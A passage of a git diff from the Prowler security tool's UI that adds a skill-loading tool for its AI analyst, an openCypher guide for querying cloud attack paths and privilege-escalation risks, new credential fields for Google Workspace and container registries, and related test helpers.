META_TOOLS = { DESCRIBE: "describe_tool", EXECUTE: "execute_tool", + LOAD_SKILL: "load_skill", } as const; export type MetaTool = (typeof META_TOOLS)[keyof typeof META_TOOLS]; @@ -68,5 +69,7 @@ export const STREAM_MESSAGE_ID = "msg-1"; export const ERROR_PREFIX = "[LIGHTHOUSE_ANALYST_ERROR]:"; +export const SKILL_PREFIX = "skill:"; + export const TOOLS_UNAVAILABLE_MESSAGE = "\nProwler tools are unavailable. You cannot access cloud accounts or security scan data. If asked about security status or scan results, inform the user that this data is currently inaccessible.\n"; diff --git a/ui/lib/lighthouse/skills/definitions/attack-path-custom-query.ts b/ui/lib/lighthouse/skills/definitions/attack-path-custom-query.ts new file mode 100644 index 0000000000..7bb2ed08a1 --- /dev/null +++ b/ui/lib/lighthouse/skills/definitions/attack-path-custom-query.ts @@ -0,0 +1,311 @@ +import type { SkillDefinition } from "../types"; + +export const customAttackPathQuerySkill: SkillDefinition = { + metadata: { + id: "attack-path-custom-query", + name: "Attack Paths Custom Query", + description: + "Write an openCypher graph query against Cartography-ingested cloud infrastructure to analyze attack paths, privilege escalation, and network exposure.", + }, + instructions: `# Attack Paths Custom Query Skill + +This skill provides openCypher syntax guidance and Cartography schema knowledge for writing graph queries against Prowler's cloud infrastructure data. + +## Workflow + +Follow these steps when the user asks you to write a custom openCypher query: + +1. **Find a completed scan**: Use \`prowler_app_list_attack_paths_scans\` (filter by \`state=['completed']\`) to find a scan for the user's provider. You need the \`scan_id\` for the next step. + +2. **Fetch the Cartography schema**: Use \`prowler_app_get_attack_paths_cartography_schema\` with the \`scan_id\`. This returns the full schema markdown with all node labels, relationships, and properties for the scan's provider and Cartography version. If this tool fails, use the Cartography Schema Reference section below as a fallback (AWS only). + +3. **Analyze the schema**: From \`schema_content\`, identify the node labels, properties, and relationships relevant to the user's request. Cross-reference with the Common openCypher Patterns section below. + +4. **Write the query**: Compose the openCypher query following all rules in this skill: + - Scope every MATCH to the root account node (see Provider Isolation) + - Use \`$provider_uid\` and \`$provider_id\` parameters (see Query Parameters) + - Include \`ProwlerFinding\` OPTIONAL MATCH (see Include Prowler Findings) + - Use openCypher v9 compatible syntax only (see openCypher Version 9 Compatibility) + +5. **Present the query**: Show the complete query in a \`cypher\` code block with: + - A brief explanation of what the query finds + - The node types and relationships it traverses + - What results to expect + +**Note**: Custom queries cannot be executed through the available tools yet. Present the query to the user for review and manual execution. + +## Query Parameters + +All queries receive these built-in parameters (do NOT hardcode these values): + +| Parameter | Matches property | Used on | Purpose | +|-----------|-----------------|---------|---------| +| \`$provider_uid\` | \`id\` | \`AWSAccount\` | Scopes to a specific cloud account | +| \`$provider_id\` | \`_provider_id\` | Any non-account node | Scopes nodes to the provider context | + +Use \`$provider_uid\` on account root nodes. Use \`$provider_id\` on other nodes that need provider scoping (e.g., \`Internet\`). + +## openCypher Query Guidelines + +### Provider Isolation (CRITICAL) + +Every query MUST chain from the root account node to prevent cross-provider data leakage. +The tenant database contains data from multiple providers. + +\`\`\`cypher +// CORRECT: scoped to the specific account's subgraph +MATCH (aws:AWSAccount {id: $provider_uid})--(role:AWSRole) +WHERE role.name = 'admin' + +// WRONG: matches ALL AWSRoles across all providers +MATCH (role:AWSRole) WHERE role.name = 'admin' +\`\`\` + +Every \`MATCH\` clause must connect to the \`aws\` variable (or another variable already bound to the account's subgraph). An unanchored \`MATCH\` returns nodes from all providers. + +**Exception**: The \`Internet\` sentinel node uses \`OPTIONAL MATCH\` with \`_provider_id\` for scoping instead of chaining from \`aws\`. + +### Include Prowler Findings + +Always include Prowler findings to enrich results with security context: + +\`\`\`cypher +UNWIND nodes(path) as n +OPTIONAL MATCH (n)-[pfr]-(pf:ProwlerFinding {status: 'FAIL', provider_uid: $provider_uid}) + +RETURN path, collect(DISTINCT pf) as dpf, collect(DISTINCT pfr) as dpfr +\`\`\` + +For network exposure queries, also return the internet node and relationship: + +\`\`\`cypher +RETURN path, collect(DISTINCT pf) as dpf, collect(DISTINCT pfr) as dpfr, + internet, can_access +\`\`\` + +### openCypher Version 9 Compatibility + +Queries must use openCypher Version 9 (compatible with both Neo4j and Amazon Neptune). + +| Avoid | Reason | Use instead | +|-------|--------|-------------| +| APOC procedures (\`apoc.*\`) | Neo4j-specific plugin | Real nodes and relationships in the graph | +| Neptune extensions | Not available in Neo4j | Standard openCypher | +| \`reduce()\` function | Not in openCypher spec | \`UNWIND\` + \`collect()\` | +| \`FOREACH\` clause | Not in openCypher spec | \`WITH\` + \`UNWIND\` + \`SET\` | +| Regex operator (\`=~\`) | Not supported in Neptune | \`toLower()\` + exact match, or \`CONTAINS\`/\`STARTS WITH\` | +| \`CALL () { UNION }\` | Complex, hard to maintain | Multi-label OR in WHERE (see patterns below) | + +**Supported with limitations:** +- \`CALL\` subqueries require \`WITH\` clause to import variables + +## Cartography Schema Reference (Quick Reference / Fallback) + +### AWS Node Labels + +| Label | Description | +|-------|-------------| +| \`AWSAccount\` | AWS account root node | +| \`AWSPrincipal\` | IAM principal (user, role, service) | +| \`AWSRole\` | IAM role | +| \`AWSUser\` | IAM user | +| \`AWSPolicy\` | IAM policy | +| \`AWSPolicyStatement\` | Policy statement with effect, action, resource | +| \`EC2Instance\` | EC2 instance | +| \`EC2SecurityGroup\` | Security group | +| \`EC2PrivateIp\` | EC2 private IP (has \`public_ip\`) | +| \`IpPermissionInbound\` | Inbound security group rule | +| \`IpRange\` | IP range (e.g., \`0.0.0.0/0\`) | +| \`NetworkInterface\` | ENI (has \`public_ip\`) | +| \`ElasticIPAddress\` | Elastic IP (has \`public_ip\`) | +| \`S3Bucket\` | S3 bucket | +| \`RDSInstance\` | RDS database instance | +| \`LoadBalancer\` | Classic ELB | +| \`LoadBalancerV2\` | ALB/NLB | +| \`ELBListener\` | Classic ELB listener | +| \`ELBV2Listener\` | ALB/NLB listener | +| \`LaunchTemplate\` | EC2 launch template | +| \`AWSTag\` | Resource tag with key/value properties | + +### Prowler-Specific Labels + +| Label | Description | +|-------|-------------| +| \`ProwlerFinding\` | Prowler finding node with \`status\`, \`provider_uid\`, \`severity\` properties | +| \`Internet\` | Internet sentinel node, scoped by \`_provider_id\` (used in network exposure queries) | + +### Common Relationships + +| Relationship | Description | +|-------------|-------------| +| \`TRUSTS_AWS_PRINCIPAL\` | Role trust relationship | +| \`STS_ASSUMEROLE_ALLOW\` | Can assume role (variable-length for chains) | +| \`CAN_ACCESS\` | Internet-to-resource exposure link | +| \`POLICY\` | Has policy attached | +| \`STATEMENT\` | Policy has statement | + +### Key Properties + +- \`AWSAccount\`: \`id\` (account ID used with \`$provider_uid\`) +- \`AWSPolicyStatement\`: \`effect\` ('Allow'/'Deny'), \`action\` (list), \`resource\` (list) +- \`EC2Instance\`: \`exposed_internet\` (boolean), \`publicipaddress\` +- \`EC2PrivateIp\`: \`public_ip\` +- \`NetworkInterface\`: \`public_ip\` +- \`ElasticIPAddress\`: \`public_ip\` +- \`EC2SecurityGroup\`: \`name\`, \`id\` +- \`IpPermissionInbound\`: \`toport\`, \`fromport\`, \`protocol\` +- \`S3Bucket\`: \`name\`, \`anonymous_access\` (boolean) +- \`RDSInstance\`: \`storage_encrypted\` (boolean) +- \`ProwlerFinding\`: \`status\` ('FAIL'/'PASS'/'MANUAL'), \`severity\`, \`provider_uid\` +- \`Internet\`: \`_provider_id\` (provider UUID used with \`$provider_id\`) + +## Common openCypher Patterns + +### Match Account and Principal + +\`\`\`cypher +MATCH path_principal = (aws:AWSAccount {id: $provider_uid})--(principal:AWSPrincipal)--(policy:AWSPolicy)--(stmt:AWSPolicyStatement) +\`\`\` + +### Check IAM Action Permissions + +\`\`\`cypher +WHERE stmt.effect = 'Allow' + AND any(action IN stmt.action WHERE + toLower(action) = 'iam:passrole' + OR toLower(action) = 'iam:*' + OR action = '*' + ) +\`\`\` + +### Find Roles Trusting a Service + +\`\`\`cypher +MATCH path_target = (aws)--(target_role:AWSRole)-[:TRUSTS_AWS_PRINCIPAL]->(:AWSPrincipal {arn: 'ec2.amazonaws.com'}) +\`\`\` + +### Check Resource Scope + +\`\`\`cypher +WHERE any(resource IN stmt.resource WHERE + resource = '*' + OR target_role.arn CONTAINS resource + OR resource CONTAINS target_role.name +) +\`\`\` + +### Match Internet Sentinel Node + +Used in network exposure queries. The Internet node is a real graph node, scoped by \`_provider_id\`: + +\`\`\`cypher +OPTIONAL MATCH (internet:Internet {_provider_id: $provider_id}) +\`\`\` + +### Link Internet to Exposed Resource + +The \`CAN_ACCESS\` relationship links the Internet node to exposed resources: + +\`\`\`cypher +OPTIONAL MATCH (internet)-[can_access:CAN_ACCESS]->(resource) +\`\`\` + +### Multi-label OR (match multiple resource types) + +When a query needs to match different resource types in the same position, use label checks in WHERE: + +\`\`\`cypher +MATCH path = (aws:AWSAccount {id: $provider_uid})-[r]-(x)-[q]-(y) +WHERE (x:EC2PrivateIp AND x.public_ip = $ip) + OR (x:EC2Instance AND x.publicipaddress = $ip) + OR (x:NetworkInterface AND x.public_ip = $ip) + OR (x:ElasticIPAddress AND x.public_ip = $ip) +\`\`\` + +## Example Query Patterns + +### Resource Inventory + +\`\`\`cypher +MATCH path = (aws:AWSAccount {id: $provider_uid})--(rds:RDSInstance) + +UNWIND nodes(path) as n +OPTIONAL MATCH (n)-[pfr]-(pf:ProwlerFinding {status: 'FAIL', provider_uid: $provider_uid}) + +RETURN path, collect(DISTINCT pf) as dpf, collect(DISTINCT pfr) as dpfr +\`\`\` + +### Network Exposure + +\`\`\`cypher +// Match the Internet sentinel node +OPTIONAL MATCH (internet:Internet {_provider_id: $provider_id}) + +// Match exposed resources (MUST chain from aws) +MATCH path = (aws:AWSAccount {id: $provider_uid})--(resource:EC2Instance) +WHERE resource.exposed_internet = true + +// Link Internet to resource +OPTIONAL MATCH (internet)-[can_access:CAN_ACCESS]->(resource) + +UNWIND nodes(path) as n +OPTIONAL MATCH (n)-[pfr]-(pf:ProwlerFinding {status: 'FAIL', provider_uid: $provider_uid}) + +RETURN path, collect(DISTINCT pf) as dpf, collect(DISTINCT pfr) as dpfr, + internet, can_access +\`\`\` + +### IAM Permission Check + +\`\`\`cypher +MATCH path_principal = (aws:AWSAccount {id: $provider_uid})--(principal:AWSPrincipal)--(policy:AWSPolicy)--(stmt:AWSPolicyStatement) +WHERE stmt.effect = 'Allow' + AND any(action IN stmt.action WHERE + toLower(action) = 'iam:passrole' + OR toLower(action) = 'iam:*' + OR action = '*' + ) + +UNWIND nodes(path_principal) as n +OPTIONAL MATCH (n)-[pfr]-(pf:ProwlerFinding {status: 'FAIL', provider_uid: $provider_uid}) + +RETURN path_principal, collect(DISTINCT pf) as dpf, collect(DISTINCT pfr) as dpfr +\`\`\` + +### Privilege Escalation (Role Assumption Chain) + +\`\`\`cypher +// Find principals with iam:PassRole +MATCH path_principal = (aws:AWSAccount {id: $provider_uid})--(principal:AWSPrincipal)--(policy:AWSPolicy)--(stmt:AWSPolicyStatement) +WHERE stmt.effect = 'Allow' + AND any(action IN stmt.action WHERE + toLower(action) = 'iam:passrole' + OR toLower(action) = 'iam:*' + OR action = '*' + ) + +// Find target roles trusting a service +MATCH path_target = (aws)--(target_role:AWSRole)-[:TRUSTS_AWS_PRINCIPAL]->(:AWSPrincipal {arn: 'ec2.amazonaws.com'}) +WHERE any(resource IN stmt.resource WHERE + resource = '*' + OR target_role.arn CONTAINS resource + OR resource CONTAINS target_role.name +) + +UNWIND nodes(path_principal) + nodes(path_target) as n +OPTIONAL MATCH (n)-[pfr]-(pf:ProwlerFinding {status: 'FAIL', provider_uid: $provider_uid}) + +RETURN path_principal, path_target, + collect(DISTINCT pf) as dpf, collect(DISTINCT pfr) as dpfr +\`\`\` + +## Best Practices + +1. **Always scope by provider**: Use \`{id: $provider_uid}\` on \`AWSAccount\` nodes. Use \`{_provider_id: $provider_id}\` on non-account nodes that need provider scoping (e.g., \`Internet\`). +2. **Chain all MATCHes from the root account node**: Every \`MATCH\` must connect to the \`aws\` variable. The \`Internet\` node is the only exception (uses \`OPTIONAL MATCH\` with \`_provider_id\`). +3. **Include Prowler findings**: Always add the \`OPTIONAL MATCH\` for \`ProwlerFinding\` nodes. +4. **Return distinct findings**: Use \`collect(DISTINCT pf)\` to avoid duplicates. +5. **Comment the query purpose**: Add inline comments explaining each \`MATCH\` clause. +6. **Use alternatives for unsupported features**: Replace \`=~\` with \`toLower()\` + exact match or \`CONTAINS\`/\`STARTS WITH\`. Replace \`reduce()\` with \`UNWIND\` + \`collect()\`. +`, +}; diff --git a/ui/lib/lighthouse/skills/index.ts b/ui/lib/lighthouse/skills/index.ts new file mode 100644 index 0000000000..b0b3156466 --- /dev/null +++ b/ui/lib/lighthouse/skills/index.ts @@ -0,0 +1,14 @@ +import { customAttackPathQuerySkill } from "./definitions/attack-path-custom-query"; +import { registerSkill } from "./registry"; + +// Explicit registration — tree-shake-proof +registerSkill(customAttackPathQuerySkill); + +// Re-export registry functions and types +export { + getAllSkillMetadata, + getRegisteredSkillIds, + getSkillById, + registerSkill, +} from "./registry"; +export type { SkillDefinition, SkillMetadata } from "./types"; diff --git a/ui/lib/lighthouse/skills/registry.ts b/ui/lib/lighthouse/skills/registry.ts new file mode 100644 index 0000000000..bd23c3f61c --- /dev/null +++ b/ui/lib/lighthouse/skills/registry.ts @@ -0,0 +1,21 @@ +import "server-only"; + +import type { SkillDefinition, SkillMetadata } from "./types"; + +const skillRegistry = new Map(); + +export function registerSkill(skill: SkillDefinition): void { + skillRegistry.set(skill.metadata.id, skill); +} + +export function getAllSkillMetadata(): SkillMetadata[] { + return Array.from(skillRegistry.values()).map((skill) => skill.metadata); +} + +export function getSkillById(id: string): SkillDefinition | undefined { + return skillRegistry.get(id); +} + +export function getRegisteredSkillIds(): string[] { + return Array.from(skillRegistry.keys()); +} diff --git a/ui/lib/lighthouse/skills/types.ts b/ui/lib/lighthouse/skills/types.ts new file mode 100644 index 0000000000..dfb7104be6 --- /dev/null +++ b/ui/lib/lighthouse/skills/types.ts @@ -0,0 +1,10 @@ +export interface SkillMetadata { + id: string; + name: string; + description: string; +} + +export interface SkillDefinition { + metadata: SkillMetadata; + instructions: string; +} diff --git a/ui/lib/lighthouse/system-prompt.ts b/ui/lib/lighthouse/system-prompt.ts index c91ec56d9c..be3ec099e3 100644 --- a/ui/lib/lighthouse/system-prompt.ts +++ b/ui/lib/lighthouse/system-prompt.ts @@ -3,6 +3,8 @@ * * {{TOOL_LISTING}} placeholder will be replaced with dynamically generated tool list */ +import type { SkillMetadata } from "@/lib/lighthouse/skills/types"; + export const LIGHTHOUSE_SYSTEM_PROMPT_TEMPLATE = ` ## Introduction @@ -45,7 +47,7 @@ You have access to tools from multiple sources: ## Tool Usage -You have access to TWO meta-tools to interact with the available tools: +You have access to THREE meta-tools to interact with the available tools and skills: 1. **describe_tool** - Get detailed schema for a specific tool - Use exact tool name from the list above @@ -59,6 +61,13 @@ You have access to TWO meta-tools to interact with the available tools: - Example: execute_tool({ "toolName": "prowler_hub_list_providers", "toolInput": {} }) - Example: execute_tool({ "toolName": "prowler_app_search_security_findings", "toolInput": { "severity": ["critical", "high"], "status": ["FAIL"] } }) +3. **load_skill** - Load specialized instructions for a complex task + - Use when you identify a matching skill from the skill catalog below + - Returns detailed workflows, schema knowledge, and examples + - Example: load_skill({ "skillId": "" }) + +{{SKILL_CATALOG}} + ## General Instructions - **DON'T ASSUME**. Base your answers on the system prompt or tool outputs before responding to the user. @@ -229,6 +238,26 @@ When providing proactive recommendations to secure users' cloud accounts, follow - Prowler Documentation: https://docs.prowler.com/ `; +/** + * Generates the skill catalog section for the system prompt. + * Lists all registered skills with their metadata so the LLM can match user requests. + */ +export function generateSkillCatalog(skills: SkillMetadata[]): string { + if (skills.length === 0) { + return ""; + } + + let catalog = "## Skill Catalog\n\n"; + catalog += + "When a user request matches a skill below, use load_skill to get detailed instructions before proceeding.\n\n"; + + for (const skill of skills) { + catalog += `- **${skill.id}**: ${skill.name} - ${skill.description}\n`; + } + + return catalog; +} + /** * Generates the user-provided data section with security boundary */ diff --git a/ui/lib/lighthouse/tools/load-skill.ts b/ui/lib/lighthouse/tools/load-skill.ts new file mode 100644 index 0000000000..6c57d03ede --- /dev/null +++ b/ui/lib/lighthouse/tools/load-skill.ts @@ -0,0 +1,82 @@ +import "server-only"; + +import { tool } from "@langchain/core/tools"; +import { addBreadcrumb } from "@sentry/nextjs"; +import { z } from "zod"; + +import { + getRegisteredSkillIds, + getSkillById, +} from "@/lib/lighthouse/skills/index"; + +interface SkillLoadedResult { + found: true; + skillId: string; + name: string; + instructions: string; +} + +interface SkillNotFoundResult { + found: false; + skillId: string; + message: string; + availableSkills: string[]; +} + +type LoadSkillResult = SkillLoadedResult | SkillNotFoundResult; + +export const loadSkill = tool( + async ({ skillId }: { skillId: string }): Promise => { + addBreadcrumb({ + category: "skill", + message: `load_skill called for: ${skillId}`, + level: "info", + data: { skillId }, + }); + + const skill = getSkillById(skillId); + + if (!skill) { + const availableSkills = getRegisteredSkillIds(); + + addBreadcrumb({ + category: "skill", + message: `Skill not found: ${skillId}`, + level: "warning", + data: { skillId, availableSkills }, + }); + + return { + found: false, + skillId, + message: `Skill '${skillId}' not found.`, + availableSkills, + }; + } + + return { + found: true, + skillId: skill.metadata.id, + name: skill.metadata.name, + instructions: skill.instructions, + }; + }, + { + name: "load_skill", + description: `Load detailed instructions for a specialized skill. + +Skills provide domain-specific guidance, workflows, and schema knowledge for complex tasks. +Use this when you identify a relevant skill from the skill catalog in your system prompt. + +Returns: +- Skill metadata (id, name) +- Full skill instructions with workflows and examples`, + schema: z.object({ + skillId: z + .string() + .describe( + "The ID of the skill to load (from the skill catalog in your system prompt)", + ), + }), + }, +); diff --git a/ui/lib/lighthouse/workflow.ts b/ui/lib/lighthouse/workflow.ts index bc27b7fe4d..e5811e976a 100644 --- a/ui/lib/lighthouse/workflow.ts +++ b/ui/lib/lighthouse/workflow.ts @@ -12,10 +12,13 @@ import { initializeMCPClient, isMCPAvailable, } from "@/lib/lighthouse/mcp-client"; +import { getAllSkillMetadata } from "@/lib/lighthouse/skills/index"; import { + generateSkillCatalog, generateUserDataSection, LIGHTHOUSE_SYSTEM_PROMPT_TEMPLATE, } from "@/lib/lighthouse/system-prompt"; +import { loadSkill } from "@/lib/lighthouse/tools/load-skill"; import { describeTool, executeTool } from "@/lib/lighthouse/tools/meta-tool"; import { getModelParams } from "@/lib/lighthouse/utils"; @@ -84,6 +87,7 @@ const ALLOWED_TOOLS = new Set([ "prowler_app_list_attack_paths_queries", "prowler_app_list_attack_paths_scans", "prowler_app_run_attack_paths_query", + "prowler_app_get_attack_paths_cartography_schema", ]); /** @@ -136,6 +140,10 @@ export async function initLighthouseWorkflow(runtimeConfig?: RuntimeConfig) { toolListing, ); + // Generate and inject skill catalog + const skillCatalog = generateSkillCatalog(getAllSkillMetadata()); + systemPrompt = systemPrompt.replace("{{SKILL_CATALOG}}", skillCatalog); + // Add user-provided data section if available const userDataSection = generateUserDataSection( runtimeConfig?.businessContext, @@ -177,7 +185,7 @@ export async function initLighthouseWorkflow(runtimeConfig?: RuntimeConfig) { const agent = createAgent({ model: llm, - tools: [describeTool, executeTool], + tools: [describeTool, executeTool, loadSkill], systemPrompt, }); diff --git a/ui/lib/menu-list.ts b/ui/lib/menu-list.ts index 6881201089..efabbb2df9 100644 --- a/ui/lib/menu-list.ts +++ b/ui/lib/menu-list.ts @@ -2,7 +2,6 @@ import { CloudCog, Cog, GitBranch, - Group, Mail, MessageCircleQuestion, Puzzle, @@ -115,7 +114,6 @@ export const getMenuList = ({ pathname }: MenuListOptions): GroupProps[] => { icon: VolumeX, active: pathname === "/mutelist", }, - { href: "/manage-groups", label: "Provider Groups", icon: Group }, { href: "/scans", label: "Scan Jobs", icon: Timer }, { href: "/integrations", label: "Integrations", icon: Puzzle }, { href: "/roles", label: "Roles", icon: UserCog }, diff --git a/ui/lib/provider-credentials/build-crendentials.ts b/ui/lib/provider-credentials/build-crendentials.ts index fb0e29a18b..27f0babba1 100644 --- a/ui/lib/provider-credentials/build-crendentials.ts +++ b/ui/lib/provider-credentials/build-crendentials.ts @@ -264,6 +264,21 @@ export const buildOpenStackSecret = (formData: FormData) => { return filterEmptyValues(secret); }; +export const buildGoogleWorkspaceSecret = (formData: FormData) => { + const secret = { + [ProviderCredentialFields.GOOGLEWORKSPACE_CREDENTIALS_CONTENT]: + getFormValue( + formData, + ProviderCredentialFields.GOOGLEWORKSPACE_CREDENTIALS_CONTENT, + ), + [ProviderCredentialFields.GOOGLEWORKSPACE_DELEGATED_USER]: getFormValue( + formData, + ProviderCredentialFields.GOOGLEWORKSPACE_DELEGATED_USER, + ), + }; + return filterEmptyValues(secret); +}; + export const buildIacSecret = (formData: FormData) => { const secret = { [ProviderCredentialFields.REPOSITORY_URL]: getFormValue( @@ -278,6 +293,32 @@ export const buildIacSecret = (formData: FormData) => { return filterEmptyValues(secret); }; +export const buildImageSecret = (formData: FormData) => { + const secret = { + [ProviderCredentialFields.REGISTRY_USERNAME]: getFormValue( + formData, + ProviderCredentialFields.REGISTRY_USERNAME, + ), + [ProviderCredentialFields.REGISTRY_PASSWORD]: getFormValue( + formData, + ProviderCredentialFields.REGISTRY_PASSWORD, + ), + [ProviderCredentialFields.REGISTRY_TOKEN]: getFormValue( + formData, + ProviderCredentialFields.REGISTRY_TOKEN, + ), + [ProviderCredentialFields.IMAGE_FILTER]: getFormValue( + formData, + ProviderCredentialFields.IMAGE_FILTER, + ), + [ProviderCredentialFields.TAG_FILTER]: getFormValue( + formData, + ProviderCredentialFields.TAG_FILTER, + ), + }; + return filterEmptyValues(secret); +}; + /** * Utility function to safely encode a string to base64 * Handles UTF-8 characters properly without using deprecated APIs @@ -426,6 +467,10 @@ export const buildSecretConfig = ( secretType: "static", secret: buildIacSecret(formData), }), + image: () => ({ + secretType: "static", + secret: buildImageSecret(formData), + }), oraclecloud: () => ({ secretType: "static", secret: buildOracleCloudSecret(formData, providerUid), @@ -450,6 +495,10 @@ export const buildSecretConfig = ( secretType: "static", secret: buildOpenStackSecret(formData), }), + googleworkspace: () => ({ + secretType: "static", + secret: buildGoogleWorkspaceSecret(formData), + }), }; const builder = secretBuilders[providerType]; diff --git a/ui/lib/provider-credentials/provider-credential-fields.ts b/ui/lib/provider-credentials/provider-credential-fields.ts index 6ed6aedfdd..f4f2c60c3a 100644 --- a/ui/lib/provider-credentials/provider-credential-fields.ts +++ b/ui/lib/provider-credentials/provider-credential-fields.ts @@ -53,6 +53,13 @@ export const ProviderCredentialFields = { REPOSITORY_URL: "repository_url", ACCESS_TOKEN: "access_token", + // Image (Container Registry) fields + REGISTRY_USERNAME: "registry_username", + REGISTRY_PASSWORD: "registry_password", + REGISTRY_TOKEN: "registry_token", + IMAGE_FILTER: "image_filter", + TAG_FILTER: "tag_filter", + // OCI fields OCI_USER: "user", OCI_FINGERPRINT: "fingerprint", @@ -76,6 +83,11 @@ export const ProviderCredentialFields = { // OpenStack fields OPENSTACK_CLOUDS_YAML_CONTENT: "clouds_yaml_content", OPENSTACK_CLOUDS_YAML_CLOUD: "clouds_yaml_cloud", + + // Google Workspace fields + GOOGLEWORKSPACE_CUSTOMER_ID: "customer_id", + GOOGLEWORKSPACE_CREDENTIALS_CONTENT: "credentials_content", + GOOGLEWORKSPACE_DELEGATED_USER: "delegated_user", } as const; // Type for credential field values @@ -106,6 +118,11 @@ export const ErrorPointers = { GITHUB_APP_KEY: "/data/attributes/secret/github_app_key_content", REPOSITORY_URL: "/data/attributes/secret/repository_url", ACCESS_TOKEN: "/data/attributes/secret/access_token", + REGISTRY_USERNAME: "/data/attributes/secret/registry_username", + REGISTRY_PASSWORD: "/data/attributes/secret/registry_password", + REGISTRY_TOKEN: "/data/attributes/secret/registry_token", + IMAGE_FILTER: "/data/attributes/secret/image_filter", + TAG_FILTER: "/data/attributes/secret/tag_filter", CERTIFICATE_CONTENT: "/data/attributes/secret/certificate_content", OCI_USER: "/data/attributes/secret/user", OCI_FINGERPRINT: "/data/attributes/secret/fingerprint", @@ -125,6 +142,10 @@ export const ErrorPointers = { CLOUDFLARE_API_EMAIL: "/data/attributes/secret/api_email", OPENSTACK_CLOUDS_YAML_CONTENT: "/data/attributes/secret/clouds_yaml_content", OPENSTACK_CLOUDS_YAML_CLOUD: "/data/attributes/secret/clouds_yaml_cloud", + GOOGLEWORKSPACE_CUSTOMER_ID: "/data/attributes/secret/customer_id", + GOOGLEWORKSPACE_CREDENTIALS_CONTENT: + "/data/attributes/secret/credentials_content", + GOOGLEWORKSPACE_DELEGATED_USER: "/data/attributes/secret/delegated_user", } as const; export type ErrorPointer = (typeof ErrorPointers)[keyof typeof ErrorPointers]; diff --git a/ui/lib/provider-helpers.ts b/ui/lib/provider-helpers.ts index 95ba5c86c4..eedda4f776 100644 --- a/ui/lib/provider-helpers.ts +++ b/ui/lib/provider-helpers.ts @@ -1,3 +1,5 @@ +import { checkConnectionProvider } from "@/actions/providers/providers"; +import { getTask } from "@/actions/task/tasks"; import { ProviderEntity, ProviderProps, @@ -5,6 +7,8 @@ import { ProviderType, } from "@/types/providers"; +import { checkTaskStatus } from "./helper"; + export const extractProviderUIDs = ( providersData: ProvidersApiResponse, ): string[] => { @@ -167,3 +171,52 @@ export const requiresBackButton = (via?: string | null): boolean => { return validViaTypes.includes(via); }; + +export interface TestConnectionResult { + connected: boolean; + error: string | null; +} + +/** + * Tests a provider's connection end-to-end: submits the task, polls until + * completion, and returns the real connection result. + * + * Used by both the Provider Wizard (single) and bulk test (via concurrency limit). + */ +export async function testProviderConnection( + providerId: string, +): Promise { + const formData = new FormData(); + formData.append("providerId", providerId); + + const data = await checkConnectionProvider(formData); + + if (data?.errors && data.errors.length > 0) { + return { + connected: false, + error: data.errors[0]?.detail ?? "Unknown error", + }; + } + + const taskId = data?.data?.id; + if (!taskId) { + return { connected: false, error: "No task ID returned" }; + } + + const taskResult = await checkTaskStatus(taskId); + + if (!taskResult.completed) { + return { + connected: false, + error: taskResult.error ?? "Connection test timed out", + }; + } + + const task = await getTask(taskId); + const { connected, error } = task.data.attributes.result; + + return { + connected, + error: connected ? null : error || "Unknown error", + }; +} diff --git a/ui/tests/providers/providers-page.ts b/ui/tests/providers/providers-page.ts index 117590dc33..b8a5d28e91 100644 --- a/ui/tests/providers/providers-page.ts +++ b/ui/tests/providers/providers-page.ts @@ -59,6 +59,28 @@ export interface AlibabaCloudProviderData { alias?: string; } +// Google Workspace provider data +export interface GoogleWorkspaceProviderData { + customerId: string; + alias?: string; +} + +// Google Workspace credential options +export const GOOGLEWORKSPACE_CREDENTIAL_OPTIONS = { + GOOGLEWORKSPACE_SERVICE_ACCOUNT: "service_account", +} as const; + +// Google Workspace credential type +type GoogleWorkspaceCredentialType = + (typeof GOOGLEWORKSPACE_CREDENTIAL_OPTIONS)[keyof typeof GOOGLEWORKSPACE_CREDENTIAL_OPTIONS]; + +// Google Workspace provider credential +export interface GoogleWorkspaceProviderCredential { + type: GoogleWorkspaceCredentialType; + serviceAccountJson: string; + delegatedUser: string; +} + // AWS credential options export const AWS_CREDENTIAL_OPTIONS = { AWS_ROLE_ARN: "role", @@ -223,6 +245,12 @@ export class ProvidersPage extends BasePage { readonly githubProviderRadio: Locator; readonly ociProviderRadio: Locator; readonly alibabacloudProviderRadio: Locator; + readonly googleworkspaceProviderRadio: Locator; + + // Google Workspace provider form elements + readonly googleworkspaceCustomerIdInput: Locator; + readonly googleworkspaceServiceAccountJsonInput: Locator; + readonly googleworkspaceDelegatedUserInput: Locator; // AWS provider form elements readonly accountIdInput: Locator; @@ -316,12 +344,12 @@ export class ProvidersPage extends BasePage { // Button to add a new cloud provider this.addProviderButton = page .getByRole("button", { - name: "Add Cloud Provider", + name: "Add Provider", exact: true, }) .or( page.getByRole("link", { - name: "Add Cloud Provider", + name: "Add Provider", exact: true, }), ); @@ -449,6 +477,20 @@ export class ProvidersPage extends BasePage { name: /Connect assuming RAM Role/i, }); + // Google Workspace + this.googleworkspaceProviderRadio = page.getByRole("option", { + name: /Google Workspace/i, + }); + this.googleworkspaceCustomerIdInput = page.getByRole("textbox", { + name: "Customer ID", + }); + this.googleworkspaceServiceAccountJsonInput = page.getByRole("textbox", { + name: /Service Account JSON/i, + }); + this.googleworkspaceDelegatedUserInput = page.getByRole("textbox", { + name: /Delegated User Email/i, + }); + // Alias input this.aliasInput = page.getByRole("textbox", { name: "Provider alias (optional)", @@ -1208,6 +1250,41 @@ export class ProvidersPage extends BasePage { await expect(this.alibabacloudAccessKeySecretInput).toBeVisible(); } + async selectGoogleWorkspaceProvider(): Promise { + await this.selectProviderRadio(this.googleworkspaceProviderRadio); + } + + async fillGoogleWorkspaceProviderDetails( + data: GoogleWorkspaceProviderData, + ): Promise { + await this.googleworkspaceCustomerIdInput.fill(data.customerId); + + if (data.alias) { + await this.aliasInput.fill(data.alias); + } + } + + async fillGoogleWorkspaceCredentials( + credentials: GoogleWorkspaceProviderCredential, + ): Promise { + if (credentials.serviceAccountJson) { + await this.googleworkspaceServiceAccountJsonInput.fill( + credentials.serviceAccountJson, + ); + } + if (credentials.delegatedUser) { + await this.googleworkspaceDelegatedUserInput.fill( + credentials.delegatedUser, + ); + } + } + + async verifyGoogleWorkspaceCredentialsPageLoaded(): Promise { + await this.verifyPageHasProwlerTitle(); + await expect(this.googleworkspaceServiceAccountJsonInput).toBeVisible(); + await expect(this.googleworkspaceDelegatedUserInput).toBeVisible(); + } + async verifyPageLoaded(): Promise { // Verify the providers page is loaded @@ -1228,6 +1305,7 @@ export class ProvidersPage extends BasePage { await expect(this.kubernetesProviderRadio).toBeVisible(); await expect(this.githubProviderRadio).toBeVisible(); await 